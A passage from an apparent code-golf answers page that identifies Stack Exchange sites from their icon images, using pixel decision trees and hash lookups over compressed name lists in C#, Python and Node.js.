AnswK|6,5[9,4[7`Freelanc>g*History%10,6:Italian/%6`Parent>g*Astronomy%6,7[9`RevKse Eng>eK>g*Robot'|10,8[+$Polit's*Pet|12,5:PKsonal Productivity*Phys'al Fitness$);}}";foreach(var s in "~ion;|s%;`,4:;&Stack OvKflow;_ & ;^#3?;]7,7;'ic;['!;Zat;Ker;@6,6;>in;<Science;:'$;/ Language;+0,0#3?;*$:$;'#7?;%$:!;$\";#).B%9<;!b.GetPixel(".Split(';'))c=c.Replace(s[0]+"",s.Substring(1));new Microsoft.CSharp.CSharpCodeProvider().CompileAssemblyFromSource(new CodeDom.Compiler.CompilerParameters("mscorlib.dll System.Core.dll System.Drawing.dll".Split()),c).CompiledAssembly.CreateInstance("p").GetType().GetMethod("c").Invoke(c,null);}}} ``` My solution doesn't use hashing, it actually examines the individual pixels of the image and decides based on that. I discovered that it was enough to examine the blue component of the image modulo 9. The idea is to repeatedly split based on the value of pixel.B%9, like so: ``` b.GetPixel(3,4).B % 9 < 7 ? "Russian Language" : (b.GetPixel(8,4).B % 9 < 6 ? "Project Management" : "Philosophy") ``` Using a script, I generated the following monstrous program (5197 bytes) that solves the problem using a binary decision tree: ``` using System;using System.Drawing;class p {public static void c(){var b=(Bitmap)Bitmap.FromFile(Console.ReadLine());Console.Write(b.GetPixel(4,5).B%9<6?b.GetPixel(1,1).B%9<5?b.GetPixel(1,10).B%9<1?b.GetPixel(3,4).B%9<1?b.GetPixel(2,8).B%9<2?b.GetPixel(0,0).B%9<3?b.GetPixel(3,10).B%9<8?"Super User":"Travel":b.GetPixel(0,2).B%9<3?"Salesforce":"Craft CMS":b.GetPixel(2,4).B%9<2?b.GetPixel(2,2).B%9<6?"Ask Ubuntu":"Ask Different":b.GetPixel(1,3).B%9<6?"Mathematics":"Programmers":b.GetPixel(2,7).B%9<3?b.GetPixel(2,4).B%9<1?b.GetPixel(2,8).B%9<2?"Database Administrators":"Christianity":b.GetPixel(0,1).B%9<3?"TeX - LaTeX":"Game Development":b.GetPixel(1,6).B%9<3?b.GetPixel(2,3).B%9<7?"English Language & Usage":"Skeptics":b.GetPixel(0,0).B%9<3?"StackApps":"Unix & Linux":b.GetPixel(0,6).B%9<1?b.GetPixel(1,4).B%9<2?b.GetPixel(1,5).B%9<3?b.GetPixel(0,4).B%9<1?"Arqade":"Mi Yodeya":b.GetPixel(1,6).B%9<6?"Drupal Answers":"User Experience":b.GetPixel(1,5).B%9<4?b.GetPixel(1,6).B%9<3?"SharePoint":"Bicycles":b.GetPixel(0,0).B%9<3?"Home Improvement":"Photography":b.GetPixel(0,0).B%9<3?b.GetPixel(0,7).B%9<2?b.GetPixel(0,1).B%9<1?"Science Fiction & Fantasy":"Theoretical Computer Science":b.GetPixel(0,4).B%9<2?"Android Enthusiasts":"Ask Patents":b.GetPixel(5,15).B%9<3?b.GetPixel(2,0).B%9<3?"Meta Stack Exchange":"Stack Overflow inJapanese":b.GetPixel(0,13).B%9<7?"Stack Overflow":"Stack Overflow in Portuguese":b.GetPixel(5,8).B%9<7?b.GetPixel(4,4).B%9<7?b.GetPixel(0,0).B%9<3?b.GetPixel(7,5).B%9<7?b.GetPixel(0,1).B%9<5?"German Language":"Server Fault":b.GetPixel(8,5).B%9<7?"Economics":"ExpressionEngine Answers":b.GetPixel(1,13).B%9<7?b.GetPixel(0,1).B%9<7?"Ebooks":"MathOverflow":b.GetPixel(7,5).B%9<7?"Buddhism":"Earth Science":b.GetPixel(6,6).B%9<7?b.GetPixel(4,6).B%9<7?b.GetPixel(3,6).B%9<7?"Poker":"Gardening & Landscaping":b.GetPixel(0,0).B%9<3?"Sustainable Living":"Startups":b.GetPixel(7,6).B%9<7?b.GetPixel(0,0).B%9<3?"Quantitative Finance":"Arduino":b.GetPixel(9,4).B%9<7?"Chemistry":"Cryptography":b.GetPixel(5,4).B%9<7?b.GetPixel(9,5).B%9<7?b.GetPixel(10,8).B%9<7?b.GetPixel(0,0).B%9<3?"Reverse Engineering":"Pets":b.GetPixel(12,5).B%9<7?"Personal Productivity":"Physical Fitness":b.GetPixel(6,7).B%9<7?b.GetPixel(3,4).B%9<7?"Tor":"Robotics":b.GetPixel(7,5).B%9<7?"Politics":"French Language":b.GetPixel(0,1).B%9<3?b.GetPixel(9,5).B%9<7?b.GetPixel(3,4).B%9<3?"LEGO Answers":"Magento":b.GetPixel(6,5).B%9<7?"Motor Vehicle Maintenance & Repair":"Network Engineering":b.GetPixel(2,6).B%9<7?b.GetPixel(0,0).B%9<7?"Programming Puzzles & Code Golf":"History of Science and Math":b.GetPixel(0,2).B%9<7?"Mathematics Educators":b.GetPixel(1,4).B%9<7?"Signal Processing":"Cognitive Sciences":b.GetPixel(3,6).B%9<7?b.GetPixel(4,6).B%9<5?b.GetPixel(5,8).B%9<5?b.GetPixel(6,5).B%9<7?b.GetPixel(9,8).B%9<7?b.GetPixel(1,1).B%9<7?"Geographic Information Systems":"Biblical Hermeneutics":b.GetPixel(11,6).B%9<7?"Board & Card Games":"Bitcoin":b.GetPixel(0,0).B%9<3?b.GetPixel(2,4).B%9<7?"RaspberryPi":"English Language Learners":b.GetPixel(8,5).B%9<7?"Emacs":"Expatriates":b.GetPixel(5,4).B%9<6?b.GetPixel(6,8).B%9<7?b.GetPixel(3,4).B%9<7?"Russian Language":"Amateur Radio":b.GetPixel(8,4).B%9<7?"Project Management":"Philosophy":b.GetPixel(0,7).B%9<7?b.GetPixel(1,1).B%9<7?"Cross Validated":"Homebrewing":b.GetPixel(0,1).B%9<7?"Web Applications":"Biology":b.GetPixel(3,4).B%9<7?b.GetPixel(0,2).B%9<3?b.GetPixel(1,7).B%9<6?b.GetPixel(1,6).B%9<6?"WordPress Development":"Electrical Engineering":b.GetPixel(1,1).B%9<7?"Physics":"Windows Phone":b.GetPixel(1,0).B%9<7?b.GetPixel(0,0).B%9<3?"Webmasters":"Academia":b.GetPixel(3,8).B%9<7?"Data Science":"Worldbuilding":b.GetPixel(6,6).B%9<7?b.GetPixel(5,6).B%9<7?b.GetPixel(0,1).B%9<7?"Genealogy & Family History":"Anime & Manga":b.GetPixel(6,9).B%9<7?"Software Quality Assurance & Testing":"Open Data":b.GetPixel(9,4).B%9<7?b.GetPixel(0,0).B%9<3?"Code Review":"Community Building":b.GetPixel(8,4).B%9<7?"Chinese Language":"Computer Science":b.GetPixel(5,6).B%9<6?b.GetPixel(4,4).B%9<7?b.GetPixel(9,8).B%9<7?b.GetPixel(10,6).B%9<7?b.GetPixel(0,0).B%9<3?"Sports":"Software Recommendations":b.GetPixel(1,1).B%9<7?"Information Security":"Sound Design":b.GetPixel(3,5).B%9<7?b.GetPixel(8,4).B%9<7?"Space Exploration":"Computational Science":b.GetPixel(0,0).B%9<3?"Tridion":"Puzzling":b.GetPixel(0,5).B%9<3?b.GetPixel(6,8).B%9<7?b.GetPixel(5,8).B%9<7?"Blender":"Writers":b.GetPixel(6,5).B%9<7?"Music, Practice & Theory":"Islam":b.GetPixel(0,1).B%9<3?b.GetPixel(0,4).B%9<7?"Mathematica":"The Workplace":b.GetPixel(0,0).B%9<3?"Linguistics":"Hinduism":b.GetPixel(6,4).B%9<5?b.GetPixel(9,8).B%9<7?b.GetPixel(3,7).B%9<7?b.GetPixel(0,0).B%9<3?"Japanese Language":"Aviation":b.GetPixel(7,6).B%9<7?"History":"Italian Language":b.GetPixel(9,4).B%9<7?b.GetPixel(5,3).B%9<7?"Chess":"Freelancing":b.GetPixel(0,0).B%9<3?"Parenting":"Beer":b.GetPixel(0,5).B%9<1?b.GetPixel(4,8).B%9<7?b.GetPixel(1,1).B%9<7?"Role-playing Games":"Movies & TV":b.GetPixel(6,8).B%9<7?"Astronomy":"The Great Outdoors":b.GetPixel(0,4).B%9<3?b.GetPixel(0,6).B%9<7?"SeasonedAdvice":"Personal Finance & Money":b.GetPixel(0,0).B%9<3?"Graphic Design":b.GetPixel(3,4).B%9<7?"Video Production":"Joomla");}} ``` Some people have used built-in compression functions in their solutions. I made my own, writing a script that identifies common substrings and replaces them by single-character shorthands. The code is compressed to the following 2502 bye string: ``` us@g System;us@g System.Draw@g;class p {publ| st^| void c(){var b=(Bitmap)Bitmap.FromFile(Console.ReadL@e());Console.Write(!4,5#6?!1,1#5?!1,10#1?!3`#1?!2,8#2?*!3,10#8?$Sup] Us]+Travel~0,2_$Salesforce+Craft CMS~2`#2?!2,2#6?$Ask Ubuntu+Ask Diff]ent~1,3#6?$M^hem^|s+Programm]s~2,7_!2`#1?!2,8#2?$D^abase Adm@istr^ors+Christianity~0,1_$TeX - LaTeX+Game Development~1,6_!2,3[English/:Usage+Skept|s'*$StackApps+Unix:L@ux~0,6#1?!1`#2?!1,5_!0`#1?$Arqade+Mi Yodeya~1,6#6?$Drupal Answ]s+Us] Exp]ience~1,5#4?!1,6_$SharePo@t+B|ycles'*$Home Improvement+Photography'*!0,7#2?!0,1#1?$> F|tion:Fantasy+Theoret|al Comput] >~0`#2?$Android Enthusiasts+Ask P^ents~5,15_!2,0_$Meta Stack Exchange+Stack Ov]flow @Japanese~0,13[Stack Ov]flow+Stack Ov]flow @ Portuguese~5,8<4`%*!7,5<0,1#5?$G]man/+S]v] Fault~8,5[Econom|s+ExpressionEng@e Answ]s~1,13<0,1[Ebooks+M^hOv]flow~7,5[Buddhism+Earth >~6,6<4,6<3,6[Pok]+Garden@g:Landscap@g'*$Susta@able Liv@g+Startups~7,6%*$Quantit^ive F@ance+Ardu@o~9`[Chemistry+Cryptography~5`<9,5<10,8%*$Rev]se Eng@e]@g+Pets~12,5[P]sonal Productivity+Phys|al Fitness~6,7<3`[Tor+Robot|s~7,5[Polit|s+French/~0,1_!9,5<3`_$LEGO Answ]s+Magento~6,5[Motor Veh|le Ma@tenance:Repair+Network Eng@e]@g~2,6<0,0[Programm@g Puzzles:Code Golf+History of > and M^h~0,2[M^hem^|s Educ^ors~1`[Signal Process@g+Cognitive >s~3,6<4,6#5?!5,8#5?!6,5<9,8<1,1[Geograph| Inform^ion Systems+Bibl|al H]meneut|s~11,6[Board:Card Games+Bitco@'*!2`[Raspb]ryPi+English/ Learn]s~8,5[Emacs+Exp^ri^es~5`#6?!6,8<3`[Russian/+Am^eur Radio~8`[Project Management+Philosophy~0,7<1,1[Cross Valid^ed+Homebrew@g~0,1[Web Appl|^ions+Biology~3`<0,2_!1,7#6?!1,6#6?$WordPress Development+Electr|al Eng@e]@g~1,1[Phys|s+W@dows Phone~1,0%*$Webmast]s+Academia~3,8[D^a >+Worldbuild@g~6,6<5,6<0,1[Genealogy:Family History+Anime:Manga~6,9[Software Quality Assurance:Test@g+Open D^a~9`%*$Code Review+Community Build@g~8`[Ch@ese/+Comput] >~5,6#6?!4`<9,8<10,6%*$Sports+Software Recommend^ions~1,1[Inform^ion Security+Sound Design~3,5<8`[Space Explor^ion+Comput^ional >'*$Tridion+Puzzl@g~0,5_!6,8<5,8[Blend]+Writ]s~6,5[Mus|, Pract|e:Theory+Islam~0,1_!0`[M^hem^|a+The Workplace'*$L@guist|s+H@duism~6`#5?!9,8<3,7%*$Japanese/+Avi^ion~7,6[History+Italian/~9`<5,3[Chess+Freelanc@g'*$Parent@g+Be]~0,5#1?!4,8<1,1[Role-play@g Games+Movies:TV~6,8[Astronomy+The Gre^ Outdoors~0`_!0,6[SeasonedAdv|e+P]sonal F@ance:Money'*$Graph| Design~3`[Video Production+Joomla$);}} ``` The dictionary needed for decompression is just 108 bytes: ``` : & ;<%!;|ic;`,4;_#3?;^at;]er;[%$;@in;>Science;~'!;/Language;+'$;*!0,0#3?;'$:;%#7?;$\";#).B%9<;!b.GetPixel( ``` The dictionary uses semicolons as delimiter, and contains single characters followed by their decompression. So to decompress, ":" would first be replaced by " & ", then "<" by "%!", "|" by "ic", and so on. Decompression of a string c can be expressed in quite a concise way: ``` foreach (var s in "[dictionary]".Split(';')) c = c.Replace(s[0] + "", s.Substring(1)); ``` Then, after decompression I use some reflection black-magic to compile the code on the fly and run it: ``` namespace System { using Collections.Generic; using CodeDom.Compiler; using Microsoft.CSharp; using Linq; using Reflection; class P { static void Main() { var c = "us@g System;us@g System.Draw@g;class p {publ| st^| void c(){var b=(Bitmap)Bitmap.FromFile(Console.ReadL@e());Console.Write(!4,5#6?!1,1#5?!1,10#1?!3`#1?!2,8#2?*!3,10#8?$Sup] Us]+Travel~0,2_$Salesforce+Craft CMS~2`#2?!2,2#6?$Ask Ubuntu+Ask Diff]ent~1,3#6?$M^hem^|s+Programm]s~2,7_!2`#1?!2,8#2?$D^abase Adm@istr^ors+Christianity~0,1_$TeX - LaTeX+Game Development~1,6_!2,3[English/:Usage+Skept|s'*$StackApps+Unix:L@ux~0,6#1?!1`#2?!1,5_!0`#1?$Arqade+Mi Yodeya~1,6#6?$Drupal Answ]s+Us] Exp]ience~1,5#4?!1,6_$SharePo@t+B|ycles'*$Home Improvement+Photography'*!0,7#2?!0,1#1?$> F|tion:Fantasy+Theoret|al Comput] >~0`#2?$Android Enthusiasts+Ask P^ents~5,15_!2,0_$Meta Stack Exchange+Stack Ov]flow @Japanese~0,13[Stack Ov]flow+Stack Ov]flow @ Portuguese~5,8<4`%*!7,5<0,1#5?$G]man/+S]v] Fault~8,5[Econom|s+ExpressionEng@e Answ]s~1,13<0,1[Ebooks+M^hOv]flow~7,5[Buddhism+Earth >~6,6<4,6<3,6[Pok]+Garden@g:Landscap@g'*$Susta@able Liv@g+Startups~7,6%*$Quantit^ive F@ance+Ardu@o~9`[Chemistry+Cryptography~5`<9,5<10,8%*$Rev]se Eng@e]@g+Pets~12,5[P]sonal Productivity+Phys|al Fitness~6,7<3`[Tor+Robot|s~7,5[Polit|s+French/~0,1_!9,5<3`_$LEGO Answ]s+Magento~6,5[Motor Veh|le Ma@tenance:Repair+Network Eng@e]@g~2,6<0,0[Programm@g Puzzles:Code Golf+History of > and M^h~0,2[M^hem^|s Educ^ors~1`[Signal Process@g+Cognitive >s~3,6<4,6#5?!5,8#5?!6,5<9,8<1,1[Geograph| Inform^ion Systems+Bibl|al H]meneut|s~11,6[Board:Card Games+Bitco@'*!2`[Raspb]ryPi+English/ Learn]s~8,5[Emacs+Exp^ri^es~5`#6?!6,8<3`[Russian/+Am^eur Radio~8`[Project Management+Philosophy~0,7<1,1[Cross Valid^ed+Homebrew@g~0,1[Web Appl|^ions+Biology~3`<0,2_!1,7#6?!1,6#6?$WordPress Development+Electr|al Eng@e]@g~1,1[Phys|s+W@dows Phone~1,0%*$Webmast]s+Academia~3,8[D^a >+Worldbuild@g~6,6<5,6<0,1[Genealogy:Family History+Anime:Manga~6,9[Software Quality Assurance:Test@g+Open D^a~9`%*$Code Review+Community Build@g~8`[Ch@ese/+Comput] >~5,6#6?!4`<9,8<10,6%*$Sports+Software Recommend^ions~1,1[Inform^ion Security+Sound Design~3,5<8`[Space Explor^ion+Comput^ional >'*$Tridion+Puzzl@g~0,5_!6,8<5,8[Blend]+Writ]s~6,5[Mus|, Pract|e:Theory+Islam~0,1_!0`[M^hem^|a+The Workplace'*$L@guist|s+H@duism~6`#5?!9,8<3,7%*$Japanese/+Avi^ion~7,6[History+Italian/~9`<5,3[Chess+Freelanc@g'*$Parent@g+Be]~0,5#1?!4,8<1,1[Role-play@g Games+Movies:TV~6,8[Astronomy+The Gre^ Outdoors~0`_!0,6[SeasonedAdv|e+P]sonal F@ance:Money'*$Graph| Design~3`[Video Production+Joomla$);}}"; foreach (var s in ": & ;<%!;|ic;`,4;_#3?;^at;]er;[%$;@in;>Science;~'!;/ Language;+'$;*!0,0#3?;'$:;%#7?;$\";#).B%9<;!b.GetPixel(".Split(';')) c = c.Replace(s[0] + "", s.Substring(1)); var o = new CSharpCodeProvider().CompileAssemblyFromSource(new CompilerParameters("mscorlib.dll System.Core.dll System.Drawing.dll".Split()), c).CompiledAssembly.CreateInstance("p").GetType().GetMethod("c"); o.Invoke(o, null); } } } ``` Note that the examples used here for explanation are slightly different from the one used in the 2876 byte solution. [Answer] # Python 3.x + Pillow, ~~2301~~ ~~1894~~ 1878 bytes ``` import sys,re,zlib as z,base64,PIL.Image as i print(re.search(str(z.adler32(i.open(sys.argv[1]).tobytes()[2::6])%2003)+'(\\D+)',z.decompress(base64.b85decode(b'c${Tc%XZ>86#NyfdNqBH<%b?iLI_EpFkwO-GfQC$tcfjoB$+h*^;0s?o$g*?uzgjxs%~BKif!C3zALZEU!&?wJd#-mqgS@p<P&+)AsV|c*52*C>U&(1_4w^urvvWJU8Bj;bvv4ia;eiJLu+bsXLru`DjH|W<`|;xLq++kv5k8VWZgQe*`_u+opEF8>A6qjM%k#skzbiuJ7dL_*><K@9l6!M*H(|w)PZJ2`RYy7K2VVrv+zc)&2Fc?wvh|^#ksyymE?D!Q$3!LbFX%h%vT%1#lr486Iybw?0!`H)ZlZ#XIao2uXTr}(IBl@wRWHa#})bgV);O3HoW7+T*!5M3=^mu6Ri$`7L;uUWj~gsqR6gQR9h7^nKdBIgy>ats36%|M|8p1x;32(ZfK9R5_xK5ts=Sz70c%SIK&g3N1E|sg{n3>JSbKwwhssGcb$8uMNw=Nv;f_;rj?}kz(3-&#FQw@O;q(8nGHjbrTC(NQv=ckXT|eHr|amahCq(7T6<LBTr5Gj>fHV~3DcYINN!Qr`6Dl?jT>!4u5~bb%Zi6VTax;%vg*m325J_$nEC%yqbbYeEp!K_K7k)W-XCP`6+}N7tktMVX+{@c2L&kLAc&IvspGrzZ$F`uOBg}fA3W2neAU}tg~<+iCN=<sR^Zke+9WNhnCyy6!8nfa>33&OWiPt2s=OMTrUgilSYQxrG!gziB!Aj83zX&6S|yjIQkA?iF0n%?<+B=%_D11aoCv?@Q&eei{sqNkr7RG`#*xyzSUE6BUNnZK)3|3Wls}K$qaKv;jOO#!{3Ms)4CQ?shafnAF^zVq(`K9o2xL5JoQoGea+W1$+xmw&8OMOtN1Pid6UAcd+*_bB6IY$KjrO=ac^tPv3(8O`&(agOBbT{Va6s}Rm9&`I#yivC;MhW8=n+^^&Reho;~!~W<xgH6bVq3^=H7)sUXV2nv~DP4`CY`f55i&qH)DvPMQy>)y*Z=|68w@v=#oo5^RSh5R2F%1-vt>h=|+1n0pE^Yq-72!)1+o{hD_3<Cyxpyr6r%cei-AFQ*h1seM$MP>ovLS2k#Ci$to#do$s3MXu2lZsw~9HkbjVWM@1!{w>}LWVj#j2qC(+*Okc>=<qcV}*}+U_QK+(ZZ(x>ZMdDDWtgHiBK+7p6aHHI`u-h6z7|Xm`>D1t4uEp271y7oCI^{1^H~O7QRxTA_U&92Q8z$J2O|5Lbeg_0umd^pSU<%-ki7LtDvo&AgIt0h~6(y@Hr+kyLJ$<B#07KdGob0EW$7@f{GszaUv#tkpSyk759Khmvq-aiyM-_&x_VCTx$Vy<;$<k{T$-@{Mhc<<%KD1AHK^MKkg%pYIW}SxhV?&a{o9=rs@*+hqyoioE=TF>9S<KxY+^69^OA0jkS#0!w@kw4}KTcP9#+PVW+qB|7B`Y?eRs+7}8RSAs?i?-Cz#Wp(Iihd`nI!Q_i%R^o_;fvDQ5|{Cr;yWeirL>_l#(wn)$QenJkK6Sgw)5NleBzvo&G#@>X`7Ib*aS4LHx9epI%BXXV&y7LJ&54g}D25-Q8>DZQ5hGKyIeJkQQu08%j|<x~)q(AOVw9P~Z*c0Z@VM6n#<}tBT6+T%4mZ9f*y76xlEFM~o$xr9*SZHd^6D-C!pkkp3m(-~W3&>KY@106L+;I><MJ^Dz`f{(I3i?u`2pWjUjlwZx`B1JB#h#u3xTH*b1K?TG40|4lxF1$_Pw+t?h2')).decode()).group(1)) ``` --- The idea is hash the image and find the corresponding string from a dictionary (just like other answers). The key code is this: ``` adler32(open(sys.argv[1]).tobytes()[2::6])%2003 ``` We open the file, and then convert it into a 1024-byte string of RGBA values. With a bit of experimentation, we find that the ADLER-32 checksum of every sixth byte of this byte string is unique for these 132 images. And then further testing shows that, taking modulus of 2003 of the checksum gives the smallest dictionary. The original dictionary looks like: ``` { 3: 'Programming Puzzles & Code Golf', 6: 'Science Fiction & Fantasy', 7: 'Bitcoin', 8: 'Biblical Hermeneutics', …, 1969: 'Unix & Linux', 1989: 'WordPress Development', 1993: 'Cognitive Sciences', 2001: 'Personal Productivity', } ``` We noticed that all site names do not contain numbers. Therefore we could concatenate the whole dictionary into a single string: ``` "256Software Quality Assurance & Testing3Programming Puzzles & Code Golf1284Geographic Info…" ``` And then use the regex e.g. `1969(\D+)` to extract the site name. This huge string is then compressed to save space (let the compression engine notice the multiple occurrences of "Language"), and finally base-85 encoded. --- Since it is now also tagged as [kolmogorov-complexity](/questions/tagged/kolmogorov-complexity "show questions tagged 'kolmogorov-complexity'"), here a **2394-byte** solution that does not use compression (zlib is still imported for adler32). ``` import sys,re,zlib,PIL.Image as i l=' Language' s='Science' print(re.search(str(zlib.adler32(i.open(sys.argv[1]).tobytes()[2::6])%2003)+'(\\D+)','256Software Quality Assurance & Testing3Programming Puzzles & Code Golf1284Geographic Information Systems517Windows Phone6'+s+' Fiction & Fantasy7Bitcoin8Biblical Hermeneutics1034Writers1803Ask Different781Joomla597Islam1809Craft CMS878English'+l+' & Usage431Freelancing1565Politics32LEGO Answers289Physical Fitness1316Spanish'+l+'1830Database Administrators296Pets1066Philosophy1582Ask Patents560Cryptography1073Magento1588MathOverflow1333Salesforce1591Linguistics1844Stack Apps948Japanese'+l+'572Electrical Engineering778Genealogy & Family History735Sound Design63Open Data505Tridion328Arqade1609Hinduism588Music, Practice & Theory1101Expatriates846Network Engineering79German'+l+'1104Webmasters1208Signal Processing118Puzzling867ExpressionEngine Answers654Buddhism1593Quantitative Finance1625Parenting859Biology1117Academia1118Stack Overflow353Project Management1123Motor Vehicle Maintenance & Repair612Chinese'+l+'876Startups877Video Production110Reverse Engineering701French'+l+'677Bicycles1683Ebooks1908Blender190Physics1654Beer119History of '+s+' and Math1913Android Enthusiasts634Chemistry1252Travel1148Cross Validated1662Italian'+l+'565Sustainable Living387Programmers797Arduino1932Data '+s+'141Server Fault1422Chess109Amateur Radio147Computational '+s+'917Home Improvement1599Worldbuilding1438Mi Yodeya197Christianity1185Community Building1956Aviation1701Poker1703Mathematics Educators1704SharePoint425Meta Stack Exchange171Code Review1964Game Development1967Homebrewing944User Experience1969Unix & Linux1715Board & Card Games1716Graphic Design969Tor696Economics955Drupal Answers1213Raspberry Pi958The Great Outdoors885Mathematics1731Emacs1989WordPress Development910Photography1736Space Exploration1993Cognitive '+s+'s1227Computer '+s+'1230Mathematica207Gardening & Landscaping2001Personal Productivity1235Super User1358Information Security727Theoretical Computer '+s+'1497Earth '+s+'220Russian'+l+'1914Role-playing Games1758Movies & TV479Anime & Manga67English'+l+' Learners228Web Applications485Robotics593The Workplace232Astronomy1519Personal Finance & Money808Stack Overflow in Japanese1266Seasoned Advice467Software Recommendations1012Sports332Stack Overflow in Portuguese761History763Ask Ubuntu1957Skeptics85TeX - LaTeX').group(1)) ``` [Answer] # Node.js, ~~3178~~ ~~3130~~ ~~2667~~ 2608 Bytes Computes the SHA1 hash of each file's image data and using bytes 16 through 19 of the hex digest, indexes the site names. ~~Using bytes 12 through 16 of the hex digest of each file's SHA1 hash, indexes the site names. There may be a shorter combination using only 3 bytes of the hex digest.~~ ``` function $(e){r=require;r("pngparse").parseFile(e,function(e,t){console.log("Academia;Android Enthusiasts;Anime & Manga;Ask Different;Arduino;Ask Ubuntu;Astronomy;Aviation;Video Production;Beer;Bicycles;Biology;Bitcoin;Blender;Board & Card Games;Stack Overflow in Portuguese;LEGO Answers;Buddhism;Chemistry;Chess;Chinese Language;Christianity;Programming Puzzles & Code Golf;Code Review;Cognitive Sciences;Community Building;Seasoned Advice;Craft CMS;Cryptography;Computer Science;Theoretical Computer Science;Data Science;Database Administrators;Home Improvement;Drupal Answers;Signal Processing;Earth Science;Ebooks;Economics;Electrical Engineering;English Language Learners;Emacs;English Language & Usage;Expatriates;ExpressionEngine Answers;Physical Fitness;Freelancing;French Language;Game Development;Arqade;Gardening & Landscaping;Genealogy & Family History;German Language;Geographic Information Systems;Graphic Design;Amateur Radio;Biblical Hermeneutics;Hinduism;History;Homebrewing;History of Science and Math;Islam;Italian Language;Stack Overflow in Japanese;Japanese Language;Joomla;Mi Yodeya;Linguistics;Magento;Martial Arts;Mathematics;Mathematics Educators;Mathematica;MathOverflow;Motor Vehicle Maintenance & Repair;Meta Stack Exchange;Personal Finance & Money;Movies & TV;Music, Practice & Theory;Network Engineering;Open Data;The Great Outdoors;Parenting;Ask Patents;Pets;Philosophy;Photography;Physics;Project Management;Poker;Politics;Personal Productivity;Programmers;Puzzling;Quantitative Finance;Raspberry Pi;Reverse Engineering;Robotics;Role-playing Games;Russian Language;Salesforce;Computational Science;Science Fiction & Fantasy;Information Security;Server Fault;SharePoint;Skeptics;Software Recommendations;Sound Design;Space Exploration;Spanish Language;Sports;Software Quality Assurance & Testing;Stack Apps;Stack Overflow;Startups;Cross Validated;Super User;Sustainable Living;TeX - LaTeX;Tor;Travel;Tridion;Unix & Linux;User Experience;Web Applications;Webmasters;Windows Phone;WordPress Development;The Workplace;Worldbuilding;Writers".split(";")[x=r("crypto").createHash("sha1").update(t.data).digest("hex").slice(16,20),x=="c7da"?27:"f38c4a899f50c7d09a0f9dde6e05bbaebb274fc59f1ba9c4b8c315490f3d887b55f27c526f6f79c7db63f12feccafebf80fde98b13f6f6dbb8e59d6b97a09fe8cb0101f6abc8c963004f2f1aafbe216457ef8210ea104d841381d529cdd2697cf809f3d5cb0f1d91d970a981c41fe617d62c01284afdbbf78588490de40a56a0c7e613480354d13a738a84fc0bf2433d2351d585039c9795f8167997d15c1b2c8144ca40223794e66864608e305d5271faddc88177ef9d44bbd4c752b9d938ec92af827550fb".match(/.{3}/g).indexOf(x.slice(0,3))])})} ``` [Answer] # Python 2.7, ~~1906~~ 1889 bytes This solution uses CRC32 on the pixel data to make a unique 2 digit base 95 identifier. The index of the identifier is then used to look up the answer string. The tricky bit was finding a combination of hash-style functions that would result in 132 (or 131) small but unique labels. I tried a few options before settling on this one. It seems quite compact. The program uses Python PIL to read the pixel data from the file. ``` import sys,re,zlib as Z,base64 as B,PIL.Image as P g=lambda p:chr(32+Z.crc32(p)%95) D=P.open(sys.argv[1]).tostring() print Z.decompress(B.b64decode('eJxlVc164zYMvPMpeMqp+xDexHGyX9yocX7aIyzBFmuKUPljR/v0HdCxE+9eLBiEwAEwGM1a6nhwZGahi+I6Ow+5L8lRygk+N7C9sksKW0Sknb1xmw1HDtnMYldckOp9WZeQC8wcJcgwmdneUXYSzKvrWGwTpSttdXxnjua7a6fWc4IhXrYTnrkVh1PPodMAodjh4mt9LGhA6CpTu7OPe44bLwfrgm0k5rItnNg8zBePdhbSgSOSlq7rXRrMdY/KgGlSKyX8uoBo+4ByCm0ZjohzR8HlyQDkNtIwuLC1Tfn5E/gUgXRsF+I3plpPvHd8gL3FO27PdtU6Di3wXcswFE1kvxfnO2QxK6YkgTs76/auxXWRNtleL1ewpjHrdWM/6ZtjyRxPucxzzxI5u5a8/e3whjJd/FkTSpp1wK21Uha04E4wt/thjLLnQad1E8uIbKcWrdw24C9KBvSkWOcUc3/OO1+L7JKZtzpO18Ly3OZYEc3DFm3kWN8KW+9Sf+6ofWCKQW+YD6Sv/Xp+ZV+Sdn7+PhLyUUbnYEdFIeGY+oyy6adUr7x1OegAbyOzp9Dq1bBD+5nZKEvsDe/ZyzgcCfofqA1/7DjoUK80uEstjfr+ggOTkg/+Wxqcn+wdGihgy4LjQOFLaj6OyrX2PmwEh0plu5pS5iGZxcfZDSe01cxwzCXaJ+qcgNlrX2u4Q1JcWbK2884FbA8oerpSB7aOfFBkHz4rm9M8LHBjCXNv7pOnwdxn8u4rwt+X4weNpGQ3J+Mz+IfI4Mksnf0HlJ7IPODWoosAZEtEhCx4RiwGGBOzOjNWiT4CzradY6uPhPv0UrVPUMxScG5fGQ3yjBpcyBxIa7rCMo3kolmyMrpWMH9ve8Bk02D+EuroT9FLrNKEfFhAXcznV7OETrV/gMUEbakxdXMm8yfng8TdBVUfRw5W90XXyy4iU7aPJXei8BtSTdMwlbMGAwwou2H96Z2XJLqoTS/npT1yM6lq/IvVUIlE5yrxGtlBwhrxrjbsXMpJBfdf1abyXNVGL/+rEFBkqsryUbl5ojSuOYIQjTPQH7zBF5U9yVrqTU/i+dvoaVK2H1XzqWCxLphC0DVwWOWoSkvlMtCdVv9EuVtXBbtuR8iUJnPBfW5L1DpWHIEIMcVns+rRxwZCDnPHYwW1kk0+wI1pt5BI6HvNoAcFrP5YmtVIuBNK4CUevxzwhK/SAYcoF8/50CyvcjtLqcQPjjxzqlM8smk2jr9+N/QvvhrwX0dJyb4iBwBxZ1ZlRB0vCaNblZRBVFqDsQ8YFxI+89/2G7DgaZ4lmudIUBo8XKdgX4J7V31xobwbzaGlYDq1o2+8VigqA8fK4RjwfdXRv0EI5JAsqBUQKbFrVAsvhEz5ipMdJtvWGN+tT5+YNwxB8/wPEZPMIw==')).split('\n')[re.findall('..','''<3 JlXAa}J>33:7XotUSZDHC }=c4G]wdaIwhi)Xa(h6B"jdfcQ_0^\wLo{Iyn7;XaRco&w7Ht(/]v^$u~?0:r,!?*y``7>5j%\SAq`G{v@&'#LuZn7)['#JTY d4(6mR%ljnE@/s6s6A-[&-\kR*[C$3*qgY25!vy&~>0H<TEGV.N$K_y|m5O#)nkhwg=E+CYmW<c /BQgFHgujMCm`793uA)T.&'f$vFRh zXin[3q:y\CGH.!hAw=k5v!gCd4g0]mU/'O''').index(g(D)+g(D*3))] ``` # Python 2.7 2150 bytes This is a version without using compression or encoding libraries. The Stack Exchange List is compressed with a simple exchange method. The characters that are not used in the text: ``` `~!@#$%^*()_+=[]{}:;"<>?/0123456789 ``` are used to hold common 